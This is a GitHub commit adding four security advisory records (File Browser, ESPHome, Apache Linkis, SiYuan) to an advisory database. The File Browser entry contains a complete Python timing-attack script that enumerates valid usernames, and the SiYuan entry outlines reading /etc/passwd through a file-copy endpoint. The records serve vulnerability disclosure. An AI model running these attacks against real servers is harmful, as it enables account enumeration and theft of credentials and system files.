Skip to content

Commit c88d94f

Browse files
1 parent 2fab64b commit c88d94f

9 files changed

Lines changed: 515 additions & 84 deletions

File tree

Lines changed: 84 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-43mm-m3h2-3prc",
4+
"modified": "2026-01-21T01:02:17Z",
5+
"published": "2026-01-21T01:02:17Z",
6+
"aliases": [
7+
"CVE-2026-23849"
8+
],
9+
"summary": "File Browser Vulnerable to Username Enumeration via Timing Attack in /api/login",
10+
"details": "### Summary\nThe JSONAuth.Auth function contains a logic flaw that allows unauthenticated attackers to enumerate valid usernames by measuring the response time of the /api/login endpoint.\n\n### Details\nThe vulnerability exists due to a \"short-circuit\" evaluation in the authentication logic. When a username is not found in the database, the function returns immediately. However, if the username does exist, the code proceeds to verify the password using bcrypt (users.CheckPwd), which is a computationally expensive operation designed to be slow.\n\nThis difference in execution path creates a measurable timing discrepancy:\n\nInvalid User: ~1ms execution (Database lookup only).\nValid User: ~50ms+ execution (Database lookup + Bcrypt hashing).\n\nIn auth/json.go:\n```go\n// auth/json.go line 54\nu, err := usr.Get(srv.Root, cred.Username)\n// VULNERABILITY:\n// If 'err != nil' (User not found), the OR condition short-circuits.\n// The second part (!users.CheckPwd) is NEVER executed.\n//\n// If 'err == nil' (User found), the code MUST execute users.CheckPwd (Bcrypt).\nif err != nil || !users.CheckPwd(cred.Password, u.Password) {\n return nil, os.ErrPermission\n}\n```\n### PoC\nThe following Python script automates the attack. It first calibrates the network latency using random (non-existent) users to establish a baseline/threshold, and then tests a list of target usernames. Valid users are detected when the response time exceeds the calculated threshold.\n\n```python\nimport requests\nimport time\nimport random\nimport string\nimport statistics\nimport argparse\n\nCALIBRATION_SAMPLES = 20\nENDPOINT = \"/api/login\"\n\ndef generate_random_user(length=10):\n return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))\n\ndef measure_response_time(url, username):\n start = time.perf_counter()\n try:\n requests.post(url, json={\"username\": username, \"password\": \"dummy_pass_123!\"})\n except Exception as e:\n print(f\"[!] Connection error: {e}\")\n return 0\n return time.perf_counter() - start\n\ndef calibrate(url):\n print(f\"\\n[*] Calibrating with {CALIBRATION_SAMPLES} random users...\")\n times = []\n \n print(\" Progress: \", end=\"\", flush=True)\n for _ in range(CALIBRATION_SAMPLES):\n random_user = generate_random_user()\n elapsed = measure_response_time(url, random_user)\n times.append(elapsed)\n print(\".\", end=\"\", flush=True)\n print(\" OK\")\n \n mean = statistics.mean(times)\n try:\n stdev = statistics.stdev(times)\n except:\n stdev = 0.0\n \n threshold = mean + (5 * stdev) + 0.005\n \n print(f\" - Mean time (invalid users): {mean:.4f}s\")\n print(f\" - Standard deviation: {stdev:.6f}s\")\n print(f\" - Threshold set: {threshold:.4f}s\")\n \n return threshold\n\ndef load_wordlist(wordlist_path):\n try:\n with open(wordlist_path, 'r', encoding='utf-8') as f:\n users = [line.strip() for line in f if line.strip()]\n return users\n except FileNotFoundError:\n print(f\"[!] Wordlist not found: {wordlist_path}\")\n exit(1)\n except Exception as e:\n print(f\"[!] Error reading wordlist: {e}\")\n exit(1)\n\ndef timing_attack(url, threshold, users):\n print(f\"\\n[*] Testing {len(users)} users from wordlist...\")\n print(\"-\" * 50)\n print(f\"{'Username':<15} | {'Time':<10} | {'Status'}\")\n print(\"-\" * 50)\n \n found = []\n \n for user in users:\n elapsed = measure_response_time(url, user)\n \n if elapsed > threshold:\n status = \">> VALID <<\"\n found.append(user)\n else:\n status = \"invalid\"\n \n print(f\"{user:<15} | {elapsed:.4f}s | {status}\")\n \n return found\n\ndef main():\n parser = argparse.ArgumentParser(description='FileBrowser timing attack exploit')\n parser.add_argument('-u', '--url', required=True, help='Target URL (e.g., http://localhost:8080)')\n parser.add_argument('-w', '--wordlist', required=True, help='Path to wordlist file')\n args = parser.parse_args()\n \n target_url = args.url.rstrip('/') + ENDPOINT\n \n print(\"=== FILEBROWSER TIMING ATTACK ===\\n\")\n print(f\"[*] Target: {target_url}\")\n print(f\"[*] Wordlist: {args.wordlist}\")\n \n try:\n threshold = calibrate(target_url)\n users = load_wordlist(args.wordlist)\n print(f\"\\n[*] Loaded {len(users)} users from wordlist\")\n print(\"[*] Starting attack...\")\n \n valid_users = timing_attack(target_url, threshold, users)\n \n print(\"\\n\" + \"=\"*50)\n print(f\"SUMMARY: {len(valid_users)} valid users found\")\n if valid_users:\n for u in valid_users:\n print(f\" -> {u}\")\n print(\"=\"*50)\n \n except KeyboardInterrupt:\n print(\"\\n[!] Attack cancelled\")\n\nif __name__ == \"__main__\":\n main()\n```\n\nFor example, in this case, I have guchihacker as the only valid user in the application.\n<img width=\"842\" height=\"310\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b3caf11e-279c-4532-aa96-fd20cda153a3\" />\n\nI am going to use the exploit to list valid users.\n<img width=\"628\" height=\"716\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f9d93e8e-e773-42a5-8a06-bc6bcc2a71fa\" />\nAs we can see, the user guchihacker has been confirmed as a valid user by comparing the server response time.\n\n### Impact\nAn unauthenticated remote attacker can enumerate valid usernames. This significantly weakens the security posture by facilitating targeted brute-force attacks or credential stuffing against specific, known-valid accounts (e.g., 'admin', 'root', employee names).\n\n\nI remain at your disposal for any questions you may have on this matter. Thank you very much.\n\nSincerely, [Felix Sanchez (GUCHI)](https://guchihacker.github.io/)",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/filebrowser/filebrowser"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "1.11.0"
32+
}
33+
]
34+
}
35+
]
36+
},
37+
{
38+
"package": {
39+
"ecosystem": "Go",
40+
"name": "github.com/filebrowser/filebrowser/v2"
41+
},
42+
"ranges": [
43+
{
44+
"type": "ECOSYSTEM",
45+
"events": [
46+
{
47+
"introduced": "0"
48+
},
49+
{
50+
"fixed": "2.55.0"
51+
}
52+
]
53+
}
54+
]
55+
}
56+
],
57+
"references": [
58+
{
59+
"type": "WEB",
60+
"url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-43mm-m3h2-3prc"
61+
},
62+
{
63+
"type": "ADVISORY",
64+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23849"
65+
},
66+
{
67+
"type": "WEB",
68+
"url": "https://github.com/filebrowser/filebrowser/commit/24781badd413ee20333aba5cce1919d676e01889"
69+
},
70+
{
71+
"type": "PACKAGE",
72+
"url": "https://github.com/filebrowser/filebrowser"
73+
}
74+
],
75+
"database_specific": {
76+
"cwe_ids": [
77+
"CWE-208"
78+
],
79+
"severity": "MODERATE",
80+
"github_reviewed": true,
81+
"github_reviewed_at": "2026-01-21T01:02:17Z",
82+
"nvd_published_at": "2026-01-19T21:15:51Z"
83+
}
84+
}
Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-4h3h-63v6-88qx",
4+
"modified": "2026-01-21T01:02:49Z",
5+
"published": "2026-01-21T01:02:49Z",
6+
"aliases": [
7+
"CVE-2026-23833"
8+
],
9+
"summary": "ESPHome vulnerable to denial-of-service via out-of-bounds check bypass in the API component",
10+
"details": "### Summary\nAn integer overflow in the API component's protobuf decoder allows denial-of-service attacks when API encryption is not used.\n\n### Details\nThe bounds check `ptr + field_length > end` in `components/api/proto.cpp` can overflow when a malicious client sends a large `field_length` value. This affects all ESPHome device platforms (ESP32, ESP8266, RP2040, LibreTiny). The overflow bypasses the out-of-bounds check, causing the device to read invalid memory and crash.\n\nWhen using the plaintext API protocol, this attack can be performed without authentication. When noise encryption is enabled, knowledge of the encryption key is required.\n\n### Affected Versions\nESPHome 2025.9.0 through 2025.12.6\n\n### Mitigation\n- Upgrade to ESPHome 2025.12.7 or later (or 2026.1.0b3 or later)\n- [Enable API encryption](https://esphome.io/components/api.html#configuration-variables) with a unique key per device\n- Follow the [Security Best Practices](https://esphome.io/guides/security_best_practices/)\n\n### Severity\nLow - Users following [Security Best Practices](https://esphome.io/guides/security_best_practices/) with API encryption enabled are not affected without knowledge of the encryption key.\n\n### Impact\nDenial-of-service. An attacker with network access to port 6053 can crash and reboot the device.\n\n### Credits\nThanks to [@Mat931](https://github.com/Mat931) for responsibly reporting this vulnerability.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "esphome"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "2025.9.0"
29+
},
30+
{
31+
"fixed": "2025.12.7"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/esphome/esphome/security/advisories/GHSA-4h3h-63v6-88qx"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23833"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/esphome/esphome/pull/13306"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/esphome/esphome/commit/69d7b6e9210390051318bd8e6410727689de08d6"
54+
},
55+
{
56+
"type": "WEB",
57+
"url": "https://esphome.io/guides/security_best_practices"
58+
},
59+
{
60+
"type": "PACKAGE",
61+
"url": "https://github.com/esphome/esphome"
62+
}
63+
],
64+
"database_specific": {
65+
"cwe_ids": [
66+
"CWE-190"
67+
],
68+
"severity": "MODERATE",
69+
"github_reviewed": true,
70+
"github_reviewed_at": "2026-01-21T01:02:49Z",
71+
"nvd_published_at": "2026-01-19T18:16:06Z"
72+
}
73+
}
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-6vfr-p2hx-6v32",
4+
"modified": "2026-01-21T01:03:28Z",
5+
"published": "2026-01-19T09:30:28Z",
6+
"aliases": [
7+
"CVE-2025-59355"
8+
],
9+
"summary": "Apache Linkis: Password Exposure",
10+
"details": "When org.apache.linkis.metadata.util.HiveUtils.decode() fails to perform Base64 decoding, it records the complete input parameter string in the log via logger.error(str + \"decode failed\", e). If the input parameter contains sensitive information such as Hive Metastore keys, plaintext passwords will be left in the log files when decoding fails, resulting in information leakage.\n\n\nAffected Scope\nComponent: Sensitive fields in hive-site.xml (e.g., javax.jdo.option.ConnectionPassword) or other fields encoded in Base64.\nVersion: Apache Linkis 1.0.0 – 1.7.0\n\n\nTrigger Conditions\nThe value of the configuration item is an invalid Base64 string.\nLog files are readable by users other than hive-site.xml administrators.\n\n\nSeverity: Low\nThe probability of Base64 decoding failure is low.\nThe leakage is only triggered when logs at the Error level are exposed.\n\nRemediation\nApache Linkis 1.8.0 and later versions have replaced the log with desensitized content.\nlogger.error(\"URL decode failed: {}\", e.getMessage()); // 不再输出 str\n\n\nUsers are recommended to upgrade to version 1.8.0, which fixes the issue.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Maven",
21+
"name": "org.apache.linkis:linkis-metadata"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "1.0.0"
29+
},
30+
{
31+
"fixed": "1.8.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "ADVISORY",
41+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59355"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/apache/linkis"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://lists.apache.org/thread/4dcgmqdkk2p5y4k43ok5rgd4ylx8698h"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://lists.apache.org/thread/75z7vhftw6w1mllndgpkfmcj0fzo4lbj"
54+
},
55+
{
56+
"type": "WEB",
57+
"url": "http://www.openwall.com/lists/oss-security/2025/09/19/1"
58+
}
59+
],
60+
"database_specific": {
61+
"cwe_ids": [
62+
"CWE-532"
63+
],
64+
"severity": "MODERATE",
65+
"github_reviewed": true,
66+
"github_reviewed_at": "2026-01-21T01:03:28Z",
67+
"nvd_published_at": "2026-01-19T09:16:02Z"
68+
}
69+
}
Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-94c7-g2fj-7682",
4+
"modified": "2026-01-21T01:01:47Z",
5+
"published": "2026-01-21T01:01:47Z",
6+
"aliases": [
7+
"CVE-2026-23851"
8+
],
9+
"summary": "SiYuan Vulnerable to Arbitrary File Read via File Copy Functionality",
10+
"details": "### Summary\nThe SiYuan Note application (v3.5.3) contains a logic vulnerability in the /api/file/globalCopyFiles endpoint. The function allows authenticated users to copy files from any location on the server's filesystem into the application's workspace without proper path validation\n### Details\nThe vulnerability exists in the api/file.go source code. The function globalCopyFiles accepts a list of source paths (srcs) from the JSON request body. While the code checks if the source file exists using filelock.IsExist(src), it fails to validate whether the source path resides within the authorized workspace directory.\n\n\n```\nfunc globalCopyFiles(c *gin.Context) {\n // ...\n\n srcsArg := arg[\"srcs\"].([]interface{})\n \n for _, src := range srcs {\n\n if !filelock.IsExist(src) { ... }\n \n\n if err := filelock.Copy(src, dest); err != nil { ... }\n }\n}\n```\n\n### PoC\nThe following steps demonstrate how to exfiltrate the /etc/passwd file.\n\n1. The attacker sends a request to copy the system file /etc/passwd to the root of the application workspace (/).\n\n<img width=\"1537\" height=\"357\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7c8e5fe8-f609-4263-8685-eedf3cf22400\" />\n\n2. The attacker downloads the copied file using the standard file retrieval API, which now treats the system file as a legitimate workspace asset.\n\n<img width=\"1549\" height=\"588\" alt=\"image\" src=\"https://github.com/user-attachments/assets/37cac3dd-d9a9-4191-92ea-16f0424c73e1\" />\n<img width=\"756\" height=\"337\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c872d729-259b-4b2a-9314-8be6b2b9b26a\" />\n\n\n### Impact\nThis vulnerability allows an attacker to read arbitrary files from the server's filesystem, bypassing intended directory restrictions. By exfiltrating sensitive configuration files (such as docker-compose.yml containing database credentials) and system files (like /etc/passwd), an attacker can harvest secrets to pivot from application access to full infrastructure compromise. This results in a complete loss of confidentiality regarding both user data and the underlying server environment.\n\n### Tested version:\n<img width=\"1118\" height=\"650\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c98cbbcc-2a28-4a15-b84e-4a7120649c5e\" />\n\n### Solution\n\nhttps://github.com/siyuan-note/siyuan/issues/16860",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/siyuan-note/siyuan/kernel"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.0.0-20260118092521-f8f4b517077b"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-94c7-g2fj-7682"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23851"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/siyuan-note/siyuan/issues/16860"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/siyuan-note/siyuan/commit/b2274baba2e11c8cf8901b0c5c871e5b27f1f6dd"
54+
},
55+
{
56+
"type": "WEB",
57+
"url": "https://github.com/siyuan-note/siyuan/commit/f8f4b517077b92c90c0d7b51ac11be1b34b273ad"
58+
},
59+
{
60+
"type": "PACKAGE",
61+
"url": "https://github.com/siyuan-note/siyuan"
62+
}
63+
],
64+
"database_specific": {
65+
"cwe_ids": [
66+
"CWE-22"
67+
],
68+
"severity": "HIGH",
69+
"github_reviewed": true,
70+
"github_reviewed_at": "2026-01-21T01:01:47Z",
71+
"nvd_published_at": "2026-01-19T20:15:49Z"
72+
}
73+
}

0 commit comments

Comments
 (0)